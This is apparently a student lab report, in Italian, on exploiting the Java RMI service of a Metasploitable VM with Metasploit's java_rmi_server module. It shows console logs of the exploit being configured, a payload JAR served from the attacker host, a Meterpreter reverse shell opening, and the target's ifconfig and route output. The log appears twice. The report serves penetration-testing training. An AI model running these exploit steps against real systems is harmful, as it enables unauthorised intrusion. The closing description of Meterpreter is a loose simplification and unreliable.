

PROGETTO SETTIMANA 7

Sfruttare il servizio vulnerabile sulla porta 1099 – Java RMI della macchina metasploitable. Si richiede allo studente di sfruttare la vulnerabilità con Metasploit al fine di ottenere una sessione di Meterpreter sulla macchina remota. I requisiti dell'esercizio sono:

- La macchina attaccante (KALI) deve avere il seguente indirizzo IP: 192.168.11.111
- La macchina vittima (Metasploitable) deve avere il seguente indirizzo IP: 192.168.11.112
- Una volta ottenuta una sessione remota Meterpreter, lo studente deve raccogliere le seguenti evidenze sulla macchina remota: 1) configurazione di rete ; 2) informazioni sulla tabella di routing della macchina vittima.

```
View the full module info with the info, or info -d command.

msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.11.112
RHOSTS => 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

  Name      Current Setting  Required  Description
  --      -
  HTTPDELAY  10              yes       Time that the HTTP Server will wait for the payload request
  RHOSTS    192.168.11.112  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT     1099            yes       The target port (TCP)
  SRVHOST   0.0.0.0         yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT   8080            yes       The local port to listen on.
  SSL       false           no        Negotiate SSL for incoming connections
  SSLCert   Path to a custom SSL certificate (default is randomly generated)
  URIPATH   no              no        The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  --      -
  LHOST     192.168.11.111  yes       The listen address (an interface may be specified)
  LPORT     4444            yes       The listen port

Exploit target:

  Id  Name
  --  --
  0    Generic (Java Payload)

View the full module info with the info, or info -d command.

msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/EgwVtmLhK1EkSq
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (57692 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 -> 192.168.11.112:37378) at 2024-03-08 05:46:41 -0500

meterpreter > sysinfo
Computer      : metasploitable
OS            : Linux 2.6.24-16-server (1386)
Architecture : x86

meterpreter > ifconfig

Interface 1
  Name      : lo - lo
  Hardware MAC : 00:00:00:00:00:00
  IP4 Address : 127.0.0.1
  IP4 Netmask : 255.0.0.0
  IP6 Address : ::1
  IP6 Netmask : ::

Interface 2
  Name      : eth0 - eth0
  Hardware MAC : 00:00:00:00:00:00
  IP4 Address : 192.168.11.112
  IP4 Netmask : 255.255.255.0
  IP6 Address : fe80::a00:27ff:fe64:e7b3
  IP6 Netmask : ::

meterpreter > route

IPv4 network routes

  Subnet      Netmask      Gateway      Metric      Interface
  --      -
  127.0.0.1    255.0.0.0    0.0.0.0      0            lo
  192.168.11.112 255.255.255.0 0.0.0.0      0            eth0

IPv6 network routes

  Subnet      Netmask      Gateway      Metric      Interface
  --      -
  ::1          ::           ::           0            lo
  fe80::a00:27ff:fe64:e7b3 ::           ::           0            eth0

meterpreter >
```

Avviando il framework metasploit dal terminale kali, ricerco la vulnerabilita' che sfrutta java rmi(remote method invocation), con il comando 'use' la seleziono e con 'show options' verifico i parametri necessari al funzionamento, in questo caso devo soltanto inserire l'indirizzo ip target che aggiungo col comando 'set RHOSTS'. Finiti i preparativi avvio l'attacco col comando 'exploit' e va a buon fine come da immagine sopra.

```
File  Macchina  Visualizza  Impostamenti  Dispositivi  Auto

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/EgwVtmLhK1EkSq
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (57692 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 -> 192.168.11.112:37378) at 2024-03-08 05:46:41 -0500

meterpreter > sysinfo
Computer      : metasploitable
OS            : Linux 2.6.24-16-server (1386)
Architecture : x86
System Language : en_US
Meterpreter   : java/linux
meterpreter > ifconfig

Interface 1
  Name      : lo - lo
  Hardware MAC : 00:00:00:00:00:00
  IP4 Address : 127.0.0.1
  IP4 Netmask : 255.0.0.0
  IP6 Address : ::1
  IP6 Netmask : ::

Interface 2
  Name      : eth0 - eth0
  Hardware MAC : 00:00:00:00:00:00
  IP4 Address : 192.168.11.112
  IP4 Netmask : 255.255.255.0
  IP6 Address : fe80::a00:27ff:fe64:e7b3
  IP6 Netmask : ::

meterpreter > route

IPv4 network routes

  Subnet      Netmask      Gateway      Metric      Interface
  --      -
  127.0.0.1    255.0.0.0    0.0.0.0      0            lo
  192.168.11.112 255.255.255.0 0.0.0.0      0            eth0

IPv6 network routes

  Subnet      Netmask      Gateway      Metric      Interface
  --      -
  ::1          ::           ::           0            lo
  fe80::a00:27ff:fe64:e7b3 ::           ::           0            eth0

meterpreter >
```

L'attacco in questione apre una sessione meterpreter dalla quale con 'sysinfo' si possono vedere le specifiche del sistema operativo target; invece con 'ifconfig' e 'route' si vedono rispettivamente l'interfaccia di rete e la tabella di routing del sistema target come da immagine sopra.

Meterpreter e' un payload di metasploit che permette di controllare lo schermo del dispositivo bersaglio.